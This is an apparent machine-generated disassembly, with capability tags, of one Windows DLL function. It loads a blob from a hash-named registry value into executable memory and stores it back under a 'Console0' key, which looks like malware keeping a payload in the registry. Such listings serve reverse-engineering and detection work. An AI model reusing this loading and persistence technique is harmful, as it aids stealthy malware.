Function at 0x1000d850
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaa0
mov eax, dword [0x1003c2e0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
mov dword [ebp - 0xa8c], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
cmp ecx, 0xc9
jne 0x1000d87e
jmp 0x1000dd46
cmp dword [ebp + 0xc], 0x65
jne 0x1000dbed
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
lea edx, [ebp - 0xc]
push edx
push 0x20019
push 0
push 0x1003767c
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000d986
lea eax, [ebp - 4]
push eax
push 0
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 4], 0xa44
jbe 0x1000d97c
mov ecx, dword [ebp - 4]
push ecx
call fcn.1000faf1
add esp, 4
mov dword [ebp - 0xa78], eax
mov edx, dword [ebp - 0xa78]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.1001f660
add esp, 0xc
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000d97c
mov ecx, 0x291
mov esi, dword [ebp - 0x10]
mov edi, 0x1003ee80
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
mov ecx, dword [0x1003f088]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1003f8c4], eax
mov edx, dword [0x1003f088]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0xa44
push eax
mov ecx, dword [0x1003f8c4]
push ecx
call fcn.1001f6e0
add esp, 0xc
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xa90], 0x1003f08c
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp - 0xa94], eax
mov ecx, dword [ebp - 0xa94]
mov dx, word [ecx]
mov word [ebp - 0xa96], dx
mov eax, dword [ebp - 0xa90]
cmp dx, word [eax]
jne 0x1000da02
cmp word [ebp - 0xa96], 0
je 0x1000d9f6
mov ecx, dword [ebp - 0xa94]
mov dx, word [ecx + 2]
mov word [ebp - 0xa98], dx
mov eax, dword [ebp - 0xa90]
cmp dx, word [eax + 2]
jne 0x1000da02
add dword [ebp - 0xa94], 4
add dword [ebp - 0xa90], 4
cmp word [ebp - 0xa98], 0
jne 0x1000d99c
mov dword [ebp - 0xa9c], 0
jmp 0x1000da0d
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xa9c], ecx
mov edx, dword [ebp - 0xa9c]
mov dword [ebp - 0xaa0], edx
cmp dword [ebp - 0xaa0], 0
je 0x1000dbdd
cmp dword [0x1003f8c4], 0
je 0x1000da4c
push 0x8000
push 0
mov eax, dword [0x1003f8c4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1003f8c4], 0
mov dword [ebp - 0xa68], 0
mov ecx, 0x767b
mov word [ebp - 0xa64], cx
mov edx, 0x5f55
mov word [ebp - 0xa62], dx
mov eax, 0x6a21
mov word [ebp - 0xa60], ax
mov ecx, 0x5757
mov word [ebp - 0xa5e], cx
mov edx, 0x2e
mov word [ebp - 0xa5c], dx
mov eax, 0x64
mov word [ebp - 0xa5a], ax
mov ecx, 0x6c
mov word [ebp - 0xa58], cx
mov edx, 0x6c
mov word [ebp - 0xa56], dx
mov eax, 0x5f
mov word [ebp - 0xa54], ax
mov ecx, 0x62
mov word [ebp - 0xa52], cx
mov edx, 0x69
mov word [ebp - 0xa50], dx
mov eax, 0x6e
mov word [ebp - 0xa4e], ax
xor ecx, ecx
mov word [ebp - 0xa4c], cx
push 0x1e4
push 0
lea edx, [ebp - 0xa4a]
push edx
call fcn.1001f660
add esp, 0xc
xor eax, eax
mov word [ebp - 0x866], ax
mov dword [ebp - 0x864], 0
mov dword [ebp - 0x860], 0
push 0x64
push 0
lea ecx, [ebp - 0x85c]
push ecx
call fcn.1001f660
add esp, 0xc
push 0x7d0
push 0
lea edx, [ebp - 0x7f8]
push edx
call fcn.1001f660
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x18], 0xa45
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.1000faf1
add esp, 4
mov dword [ebp - 0xa7c], eax
mov edx, dword [ebp - 0xa7c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov byte [eax], 5
mov ecx, dword [ebp - 0x18]
sub ecx, 1
push ecx
lea edx, [ebp - 0xa68]
push edx
mov eax, dword [ebp - 0x14]
add eax, 1
push eax
call fcn.1001f6e0
add esp, 0xc
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0xa8c]
call fcn.10008c80
cmp dword [ebp - 0x14], 0
je 0x1000dbdb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xa80], eax
mov ecx, dword [ebp - 0xa80]
push ecx
call fcn.1000fafc
add esp, 4
mov dword [ebp - 0x14], 0
jmp 0x1000dbe8
mov ecx, dword [ebp - 0xa8c]
call fcn.1000d810
jmp 0x1000dd46
mov esi, dword [ebp + 8]
add esi, 1
mov ecx, 0x291
mov edi, 0x1003ee80
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
mov edx, dword [0x1003f088]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1003f8c4], eax
mov eax, dword [0x1003f088]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0xa45
push ecx
mov edx, dword [0x1003f8c4]
push edx
call fcn.1001f6e0
add esp, 0xc
mov eax, dword [0x1003f088]
add eax, 0xa44
mov dword [ebp - 0xa70], eax
mov ecx, dword [ebp - 0xa70]
push ecx
call fcn.1000faf1
add esp, 4
mov dword [ebp - 0xa84], eax
mov edx, dword [ebp - 0xa84]
mov dword [ebp - 0xa6c], edx
cmp dword [ebp - 0xa6c], 0
je 0x1000dd0d
mov ecx, 0x291
mov esi, 0x1003ee80
mov edi, dword [ebp - 0xa6c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x1003f088]
push eax
mov ecx, dword [0x1003f8c4]
push ecx
mov edx, dword [ebp - 0xa6c]
add edx, 0xa44
push edx
call fcn.1001f6e0
add esp, 0xc
lea eax, [ebp - 0xa74]
push eax
push str.Console0
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1000dd00
mov ecx, dword [str.d33f351a4aeea5e608853d1a56661059]
push ecx
mov edx, dword [ebp - 0xa74]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 0xa70]
push eax
mov ecx, dword [ebp - 0xa6c]
push ecx
push 3
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0xa74]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xa74]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa6c], 0
je 0x1000dd3b
mov edx, dword [ebp - 0xa6c]
mov dword [ebp - 0xa88], edx
mov eax, dword [ebp - 0xa88]
push eax
call fcn.10010b4f
add esp, 4
mov dword [ebp - 0xa6c], 0
mov ecx, dword [ebp - 0xa8c]
call fcn.1000d810
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000fb07
mov esp, ebp
pop ebp
ret 8